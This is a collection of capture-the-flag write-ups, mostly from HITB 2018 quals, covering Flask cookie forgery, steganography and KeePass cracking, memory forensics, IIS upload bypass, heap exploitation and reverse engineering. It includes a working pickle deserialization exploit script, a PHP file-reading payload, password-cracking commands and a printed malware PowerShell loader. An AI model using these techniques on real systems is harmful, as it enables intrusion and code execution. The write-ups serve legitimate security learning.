HITBXCTF 2018 Quals - Python's revenge
We are given a Python Flask webapp that allows us to store and retrieve a Python object. The app stores our secret with pickle
in a cookie named location
. To protect the cookie from malicious user modifications, a simple MAC scheme is implemented:
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest()
The secret
argument supplied is composed of 4 ascii_letters + digits
characters.
if not os.path.exists('.secret'): with open(".secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(4)) f.write(secret) with open(".secret", "r") as f: cookie_secret = f.read().strip()
This is not secure enough, and it could be easily guessed with the following code: (we posted some data and obtains a legit cookie for this)
def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() alphabet = string.ascii_letters + string.digits h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce' msg = 'VmFhYWEKcDAKLg==' for s in itertools.product(alphabet, repeat=4): if calc_digest(msg, ''.join(s)) == h: print 'secret = ' + ''.join(s) break else: print '[!] not found'
We retrieved the secret 'hitb'. Afterwards, during unpickling, the app installs a hook on the REDUCE method, which blacklists direct invocation of a lot of local command execution functions:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] ... def _hook_call(func): def wrapper(*args, **kwargs): session['cnt'] += 1 print session['cnt'] print args[0].stack for i in args[0].stack: if i in black_type_list: raise FilterException(args[0].stack[-2]) if session['cnt'] > 4: raise TimesException() return func(*args, **kwargs) return wrapper def loads(strs): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load()
However, the hook function only compares unpickled method directly in the black list, therefore if we can indirectly call blacklisted functions it won't be effective. Let's do it with my favorite map
function. The following code will generate a malicious cookie which can be used to run any blacklisted functions:
import itertools from hashlib import sha256 import string import subprocess from base64 import b64encode as b64e from pickle import dumps def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() ''' alphabet = string.ascii_letters + string.digits h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce' msg = 'VmFhYWEKcDAKLg==' for s in itertools.product(alphabet, repeat=4): if calc_digest(msg, ''.join(s)) == h: print 'secret = ' + ''.join(s) break else: print '[!] not found' ''' secret = 'hitb' class Exploit(object): def __reduce__(self): return (map, (subprocess.check_output, [['/bin/cat', '/flag_is_here']])) def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) print make_cookie(b64e(dumps(Exploit())), secret)
The flag is HITB{Py5h0n1st8eBe3tNOW}
.
HITBXCTF 2018 Quals - pix
We are given a PNG file, let's check it for any steg data with zsteg
:
$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate /usr/lib/ruby/2.3.0/open3.rb:199: warning: Insecure world writable dir /mnt/c/ProgramData/Oracle/Java in PATH, mode 040777 imagedata .. text: " !#865 " b1,r,msb,xy .. text: "y5b@2~2t" b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBX b2,r,msb,xy .. text: "\rP`I$X7D" b2,bgr,lsb,xy .. text: "b;d'8H~M" b4,g,msb,xy .. text: ";pTr73& dvG:"
We have a KeePass DB hidden in the file, let's extract it with zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -E b1,rgb,lsb,xy > wat.kdbx
. The file is protected with a password. We are given hints about the password:
weak password! lower casee letters and number len(password) == 10 hitb + number
Let's launch John the Ripper. First, we need to convert our kdbx file into a JtR hash:
.\keepass2john.exe .\wat.kdbx wat:$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b
Save it into hash.txt
and launch JtR with the mask hinted. It runs a little bit slow on my laptop, but with better hardware you can improve it easily:
.\john.exe --mask=hitb?d?d?d?d?d?d .\hash.txt Warning: '/dev/shm' does not exists or is not a directory. POSIX shared memory objects require the existance of this directory. Create the directory '/dev/shm' and set the permissions to 01777. For instance on the command line: mkdir -m 01777 /dev/shm Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:01:10 15.33% (ETA: 18:02:11) 0g/s 2177p/s 2177c/s 2177C/s hitb082351..hitb782351 0g 0:00:03:33 41.98% (ETA: 18:03:02) 0g/s 1962p/s 1962c/s 1962C/s hitb848914..hitb558914 0g 0:00:04:33 52.40% (ETA: 18:03:15) 0g/s 1915p/s 1915c/s 1915C/s hitb040425..hitb740425 hitb180408 (wat) 1g 0:00:07:16 DONE (2018-04-14 18:01) 0.002291g/s 1842p/s 1842c/s 1842C/s hitb080408..hitb780408 Use the "--show" option to display all of the cracked passwords reliably Session completed
We successfully cracked the password for the KeePass db hitb180408
, let's open it:
The flag is HITB{p1x_aNd_k33pass}
.
HITBXCTF 2018 Quals - boom
We are given a .vmem
file, which is a memory file generated by VMware. The problem description indicates that this VM might be infected with a malware, so let's use Volatility to analyze this memory dump.
Let's check what OS this memory dump is running:
$ volatility -f BOOM-6452e9b9.vmem imageinfo Volatility Foundation Volatility Framework 2.5 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64 AS Layer1 : AMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (.../BOOM-6452e9b9.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80003fff0a0L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80004000d00L KPCR for CPU 1 : 0xfffff880009ef000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2018-04-05 08:29:56 UTC+0000 Image local date and time : 2018-04-05 16:29:56 +0800
Let's consider the running OS as Win7SP1x64 and list the running processes:
$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 psscan Volatility Foundation Volatility Framework 2.5 Offset(P) Name PID PPID PDB Time created Time exited ------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------ 0x000000007d0d81f0 msdtc.exe 1992 516 0x0000000077525000 2018-04-04 15:28:29 UTC+0000 0x000000007d0dab30 cmd.exe 1348 1212 0x0000000038154000 2018-04-05 08:27:22 UTC+0000 2018-04-05 08:27:39 UTC+0000 0x000000007d109b30 dllhost.exe 1896 516 0x000000004599c000 2018-04-04 15:28:29 UTC+0000 0x000000007d248b30 svchost.exe 600 516 0x00000000145af000 2018-04-04 15:28:26 UTC+0000 0x000000007d285540 svchost.exe 1112 516 0x0000000017541000 2018-04-04 15:28:27 UTC+0000 0x000000007d28a5b0 explorer.exe 2532 2492 0x0000000034c9e000 2018-04-04 15:30:26 UTC+0000 0x000000007d290b30 spoolsv.exe 1212 516 0x0000000017755000 2018-04-04 15:28:27 UTC+0000 0x000000007d2af1a0 mscorsvw.exe 2764 516 0x000000006a0e7000 2018-04-04 15:30:28 UTC+0000 0x000000007d2de7e0 svchost.exe 1244 516 0x00000000186fc000 2018-04-04 15:28:27 UTC+0000 0x000000007d3b4060 VGAuthService. 1384 516 0x00000000178e6000 2018-04-04 15:28:27 UTC+0000 0x000000007d3e4210 vmtoolsd.exe 1456 516 0x000000001676c000 2018-04-04 15:28:28 UTC+0000 0x000000007d3e9b30 ManagementAgen 1480 516 0x00000000162f2000 2018-04-04 15:28:28 UTC+0000 0x000000007d413060 winlogon.exe 480 408 0x0000000020cf6000 2018-04-04 15:28:26 UTC+0000 0x000000007d428b30 services.exe 516 416 0x00000000086a2000 2018-04-04 15:28:26 UTC+0000 0x000000007d434060 lsm.exe 540 416 0x000000001f851000 2018-04-04 15:28:26 UTC+0000 0x000000007d436610 lsass.exe 532 416 0x000000001f649000 2018-04-04 15:28:26 UTC+0000 0x000000007d50e970 svchost.exe 664 516 0x000000001c541000 2018-04-04 15:28:26 UTC+0000 0x000000007d532920 vmacthlp.exe 724 516 0x000000001ee7b000 2018-04-04 15:28:26 UTC+0000 0x000000007d53eb30 svchost.exe 768 516 0x0000000053d03000 2018-04-04 15:28:26 UTC+0000 0x000000007d571060 svchost.exe 832 516 0x000000005378d000 2018-04-04 15:28:26 UTC+0000 0x000000007d57cb30 svchost.exe 892 516 0x000000005329a000 2018-04-04 15:28:26 UTC+0000 0x000000007d5a8b30 svchost.exe 936 516 0x00000000125a5000 2018-04-04 15:28:26 UTC+0000 0x000000007d8d1060 wininit.exe 416 344 0x0000000021861000 2018-04-04 15:28:26 UTC+0000 0x000000007d8db7b0 csrss.exe 432 408 0x0000000021bf0000 2018-04-04 15:28:26 UTC+0000 0x000000007da5cb30 csrss.exe 364 344 0x0000000021ddb000 2018-04-04 15:28:25 UTC+0000 0x000000007e243b30 WmiPrvSE.exe 1852 664 0x000000000e653000 2018-04-04 15:28:29 UTC+0000 0x000000007e94bb30 smss.exe 276 4 0x0000000023138000 2018-04-04 15:28:25 UTC+0000 0x000000007e9cab30 taskhost.exe 2388 516 0x0000000074651000 2018-04-04 15:30:26 UTC+0000 0x000000007ed2e810 Everything.exe 3764 1564 0x0000000077807000 2018-04-05 08:29:20 UTC+0000 0x000000007edb62b0 ipconfig.exe 3440 3372 0x000000002ef83000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007efbe330 SearchFilterHo 1260 3016 0x000000002ddfe000 2018-04-05 08:29:06 UTC+0000 0x000000007efc7540 audiodg.exe 3960 832 0x000000003eefe000 2018-04-05 08:29:20 UTC+0000 0x000000007efcc5f0 cmd.exe 3372 1456 0x000000003fe85000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007f0e5a30 dwm.exe 2508 892 0x0000000073675000 2018-04-04 15:30:26 UTC+0000 0x000000007f67bb30 dllhost.exe 2364 664 0x0000000049662000 2018-04-04 15:49:16 UTC+0000 0x000000007f773680 netsh.exe 2428 1212 0x0000000034bde000 2018-04-05 08:28:07 UTC+0000 2018-04-05 08:28:07 UTC+0000 0x000000007f78eb30 svchost.exe 1088 516 0x000000004771d000 2018-04-04 15:41:44 UTC+0000 0x000000007f7e1460 StikyNot.exe 2252 2532 0x00000000379a7000 2018-04-04 15:49:33 UTC+0000 0x000000007f834b30 SearchIndexer. 3016 516 0x000000003ae0d000 2018-04-04 15:30:30 UTC+0000 0x000000007f860b30 svchost.exe 2968 516 0x0000000015308000 2018-04-04 15:30:29 UTC+0000 0x000000007f9d6060 cmd.exe 1096 1212 0x00000000752ec000 2018-04-05 08:25:33 UTC+0000 2018-04-05 08:26:49 UTC+0000 0x000000007f9ec060 sc.exe 3064 1212 0x00000000332be000 2018-04-05 08:28:07 UTC+0000 2018-04-05 08:28:07 UTC+0000 0x000000007fa5d060 wordpad.exe 3316 1564 0x0000000041a4b000 2018-04-05 08:29:50 UTC+0000 0x000000007fa7f060 conhost.exe 3368 364 0x000000000ca7a000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007faa7390 rdpclip.exe 2460 1112 0x0000000071564000 2018-04-05 08:29:07 UTC+0000 0x000000007fac6b30 taskhost.exe 1340 516 0x000000006d95f000 2018-04-05 08:29:07 UTC+0000 0x000000007fb0bb30 SearchProtocol 1820 3016 0x00000000744a7000 2018-04-05 08:29:26 UTC+0000 0x000000007fb15b30 dwm.exe 2228 892 0x0000000032414000 2018-04-05 08:29:07 UTC+0000 0x000000007fb23b30 explorer.exe 1564 1624 0x0000000066338000 2018-04-05 08:29:07 UTC+0000 0x000000007fb74060 vmtoolsd.exe 2632 2532 0x0000000070551000 2018-04-04 15:30:26 UTC+0000 0x000000007fbb9b30 svchost.exe 2800 516 0x000000006a6f5000 2018-04-04 15:30:28 UTC+0000 0x000000007fbcf060 mscorsvw.exe 2880 516 0x000000006a1fc000 2018-04-04 15:30:29 UTC+0000 0x000000007fbfc060 sppsvc.exe 2932 516 0x000000002c482000 2018-04-04 15:30:29 UTC+0000 0x000000007fca0b30 winlogon.exe 888 2092 0x00000000304c0000 2018-04-05 08:28:11 UTC+0000 0x000000007fccab30 csrss.exe 1836 2092 0x000000002f03b000 2018-04-05 08:28:11 UTC+0000 0x000000007fd228d0 csrss.exe 2984 2380 0x000000001bbb9000 2018-04-05 08:29:06 UTC+0000 0x000000007fd36b30 regsvr32.exe 2736 1564 0x0000000064a39000 2018-04-05 08:29:08 UTC+0000 2018-04-05 08:29:08 UTC+0000 0x000000007fdec630 vmtoolsd.exe 3748 1564 0x0000000045e6b000 2018-04-05 08:29:19 UTC+0000 0x000000007fdf3b30 winlogon.exe 2212 2380 0x00000000121be000 2018-04-05 08:29:06 UTC+0000 0x000000007feb2060 SearchProtocol 2752 3016 0x000000002e873000 2018-04-05 08:29:06 UTC+0000 0x000000007feb8b30 LogonUI.exe 1672 2212 0x000000003a14d000 2018-04-05 08:29:06 UTC+0000 0x000000007ff39990 System 4 0 0x0000000000187000 2018-04-04 15:28:25 UTC+0000
Everything.exe seems shady. Let's dump it:
$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 procdump -p 3764 -D . Volatility Foundation Volatility Framework 2.5 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa8002b2e810 0x0000000000400000 Everything.exe OK: executable.3764.exe
As with many memory forensics challenge, it is quite useful to run strings
on it:
$ strings executable.3764.exe ... [snip] ... powershell -WindowStyle Hidden -Command "Get-ChildItem .\ | ForEach-Object -Process {if($_ -is [System.IO.FileInfo]){if($_.FullName.indexof(""".exe""") -eq -1){return;}$cont = (Get-Content -raw $_.FullName);if($cont.indexof("""qwedcxzarfvbnhyt""") -eq -1){return;}echo $_.FullName;[byte[]]$bytes = [System.IO.File]::ReadAllBytes($_.FullName);Set-Content -Path """.\temp.exe""" -Value $Bytes[-0X19010..-0X11] -encoding Byte;.\temp.exe;rm .\temp.exe;}};Start-Process -FilePath http://HYTN_B_C_DoRR_.cn;"
Looks like there are something related to PowerShell inside this executable, which makes it even more shady. Some RE confirms it as the process entry point is overwritten with some code that runs the above command. Start-Process -FilePath
with an URL will open a browser window with that URL, that explains the weird paths mentioned in the problem description.
The flag doesn't follow normal format, and is the domain name of what we've found: HYTN_B_C_DoRR_.cn
There are a lot of useful and funny tricks I've learned when solving that problem; however the time to writeup is limited so I'll add it later :3
HITBXCTF 2018 Quals - upload
The given site has a simple form that allows us to upload a file, and after uploading gives us a file name with the extension of the file we uploaded. With some simple recon we can see that the server is running on PHP and IIS (which is known for being buggy) and we have a route pic.php?filename=default.jpg
:
The pic
route shows the width and height of an uploaded file with GET param filename
, with the filename we got back after uploading. Since we can fully control this param and we also have file upload, and with the problem description clearly indicates Get shell !
, it is clear that we should upload a PHP shell to get flag. We can control the extension of uploaded file, but the server will block files with .php
extension. This can be easily bypassed since Windows filename are not case sensitive, so .Php
file is still interpreted as a PHP file. Another problem is that we don't know where our files are placed on the server. We can abuse pic.php?filename=
route to leak path information. There is a trick when performing LFI with FastCGI on IIS that the <
character behaves like a *
wildcard (detailed in https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/). Let's use it to disclose our file upload subfolder:
Now that we know where our files are uploaded to, we can upload a simple PHP script to read flag.php
in the root directory:
<?php print_r(file_get_contents('../flag.php')); ?>
TUCTF 2017 Pwn500 Writeup
Unlink yourself from the chains of earthly possessions.
We have a binary which gives heap-related wisdoms, and a file mm.c
which is a self-implemented dynamic memory management code used in the binary. The heap chunks defined in mm.c
have the following structure (taken from mm.c
comments):
* block block+8 block+size-8 block+size * * Allocated blocks: | HEADER | ... PAYLOAD ... | FOOTER | * * * * block block+8 block+size-8 block+size * * Unallocated blocks: | HEADER | ... (empty) ... | FOOTER | * * *
Allocated chunk addresses are aligned to 16 bytes. The chunk's real size (with header and footer size included) is stored in both chunk's header and footer, and bit 0 of the size indicates if the chunk is in use or not.
mm.c
defines malloc
and free
, and free
implements a simple chunk coalescing procedure, which won't leave immediate contiguous free chunks in memory:
/* Coalesce: Coalesces current block with previous and next blocks if either * or both are unallocated; otherwise the block is not modified. * Returns pointer to the coalesced block. After coalescing, the * immediate contiguous previous and next blocks must be allocated. */ static block_t *coalesce(block_t * block) { block_t *block_next = find_next(block); block_t *block_prev = find_prev(block); bool prev_alloc = extract_alloc(*(find_prev_footer(block))); bool next_alloc = get_alloc(block_next); size_t size = get_size(block); if (prev_alloc && next_alloc) // Case 1 { return block; } else if (prev_alloc && !next_alloc) // Case 2 { size += get_size(block_next); write_header(block, size, false); write_footer(block, size, false); } else if (!prev_alloc && next_alloc) // Case 3 { size += get_size(block_prev); write_header(block_prev, size, false); write_footer(block_prev, size, false); block = block_prev; } else // Case 4 { size += get_size(block_next) + get_size(block_prev); write_header(block_prev, size, false); write_footer(block_prev, size, false); block = block_prev; } return block; }
mm.c
uses each chunk's size to find the previous and next chunks in memory. When determining the previous chunk's address, mm.c
will look at the previous chunk's footer:
/* * find_prev: returns the previous block position by checking the previous * block's footer and calculating the start of the previous block * based on its size. */ static block_t *find_prev(block_t *block) { word_t *footerp = find_prev_footer(block); size_t size = extract_size(*footerp); return (block_t *)((char *)block - size); }
And the previous chunk's allocation status is also determined by its footer:
bool prev_alloc = extract_alloc(*(find_prev_footer(block)));
When reversing the binary, in give_wisdom
function, we'll see that the program malloc
a text field with our given size, and then calls readbytes
with our size:
readbytes
calls fgets
with sz = bufsize + 1
, to ensures that it can read bufsize
bytes and a terminating null character:
uint32_t __cdecl readbytes(char *buf, uint32_t bufsize) { fgets(buf, bufsize + 1, stdin); return bufsize + 1; }
Because of that, we can write a single null byte to a chunk's footer. When we free the next chunk, mm.c
will think that this text chunk is freed and will consolidate with it, even when this chunk is actually still in use, which might lead to a chunk shrinking attack. But during malloc
, the program still uses chunk headers to navigate the freelist (which we still can't control), so this might not be useful for us yet.
Back to give_wisdom
, we'll see that the program assigns the text_size
field of newWisdom
with the result of readbytes
, which is size + 1
:
... v4 = readbytes(v2, size); newQuote->text = newWisdom; newQuote->text_size = v4; ...
And then later, in modify_wisdom
, we can modify text_size
bytes of the text chunk, which is also size + 1
:
This means we can fully control the least significant byte of a chunk's footer.
Great! Now we can exploit the program like the following:
- We'll gib 3 wisdoms, so our controllable part of the heap will look like this (one wisdom will have a metadata chunk of size 0x20 and a text chunk with user-controlled size):
- We then modify the 2nd wisdom, and enlarge its text chunk's footer to include both the 2nd wisdom's metadata chunk and the 1st's text chunk:
- We take the 3rd wisdom. When
free
ing 3rd's metadata chunk,coalesce
will think that 2nd's text chunk is freed (because bit 0 of its footer is 0) and will try to consolidate backward. Because of our faked size,find_prev
will return the 1st's text chunk instead of 2nd's text chunk, and the program will mark that chunk as freed during coalescing: Because 1st's text chunk is marked as freed,malloc
will use this part of memory to serve new requests. But 1st's text chunk is still being referenced by the program, so we can say that the 1st wisdom's text chunk is "forgotten". - We'll give a new wisdom, then modify the first wisdom. The new wisdom's metadata will be stored where 1st's text chunk is, so when we modify 1st wisdom's content, we're actually modify the new wisdom's metadata. We can then point the new wisdom's
text_ptr
field to the GOT table, then take that wisdom to get libc's base address. - In
checksec
we can see that this binary have partial RELRO, so we can overwrite its GOT table. After getting libc's base, we will give another wisdom, modify 1st's wisdom to point itstext_ptr
toatoi@got
, then modify it to writeatoi@got
with the calculated address ofsystem@libc
for given libc file in the problem description. After this, when we triggeratoi
during the menu prompt, we'll callsystem
instead; supply it with/bin/sh
to get our shell.
Here's the exploit code:
And here's the script in action:
Whitehat Contest 11 RE3
We are given a big Windows binary named digital_fortrees.exe
, and when I run strings
on it looking for flag, I saw a lot of names like this:
unittest/__init__.pycPK unittest/case.pycPK unittest/loader.pycPK unittest/main.pycPK unittest/result.pycPK unittest/runner.pycPK unittest/signals.pycPK unittest/suite.pycPK unittest/util.pycPK
So, it is possible that this file contains Python pyc
files, and those files are stored like zip files (because of the PK
header). Try to open that file with 7-zip, we can see that there are actually a lot of pyc
files:
But I didn't see any suspected pyc
files (I got lost most of the time, and I still don't know how to look for those files efficiently :( ). When I run it, the program gives me 2 options: to generate the map or to go through all rooms on the map. It seems like option 1 creates prime number named folders in the working directories, and the second option traverses through all of those directories and open cmd
on its way (it did froze my computer :( ). Let's use Cheat Engine and see if we can narrow down on what pyc
we should look, by searching for some special strings in the app. Then suddenly I saw some interesting things:
There are 2 suspicious links inside: http://material.wargame.whitehat.vn/contests/11/drawmap.py
and http://material.wargame.whitehat.vn/contests/11/letgo.py
. The second file describe the traversing process:
import os def gothrough(): key = 1 roomtogo = [r for r in os.listdir(os.curdir)if os.path.isdir(r)] for room in roomtogo: key *= int(room) os.system("start cmd /k echo Room number " + room + ": get key part") if (key == 1000012277050240711531267079): os.system("start cmd /k echo Congrats! Where did you get these key parts?") else: os.system("start cmd /k echo Nothing here! wrong key parts") gothrough()
So it'll look for directories, convert them to number and multiplies them together. And the result should be equal to 1000012277050240711531267079
. According to the flag format, it should be the product of 3 prime numbers. We can factor it ourselves, or use FactorDB.
The flag is SHA1(FirstRoom:SecondRoom:ThridRoom)
= 89225c98a509271436fd55c3c6aeef44fd07728a
.
Whitehat Contest 11 RE2
We are given a Golang binary, which my idol teammate @yeuchimse reverse engineered :3. The checking code looks like this:
factorials = [1, 1, 2, 6, 0x18, 0x78, 0x2d0, 0x13b0, 0x9d80, 0x58980, 0x375f00, 0x2611500, 0x1c8cfc00] def calc(nums): nums = [0] + nums pos_arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] j = 1 result = 1 while True: n = nums[j] n_index = pos_arr[n] - 1 y = len(nums) - 1 - j result += factorials[y] * n_index for i in xrange(nums[j] + 1, len(nums)): pos_arr[i] -= 1 j += 1 if j == len(nums): break print result # assert result == 0xE37F550
The result += factorials[y] * n_index
part kinds of remind me about factoradic numbers, which can be used to number and calculate permutations lexicographically. And this function takes a list as its input and calculates a number. Maybe it is used to convert a factoradic number to a decimal number? But the algorithm seems more complicated than that. So we tried to put a permutation to that function, and voila! It returns the index of that permutation!
So the problem became finding a permutation given its index. We can implement it following this nice tutorial here, but I ended up reuse the code I wrote some times ago here (it's written in Pascal and there are no comments, sorry about that :( ).
The flag is 612945128107113
.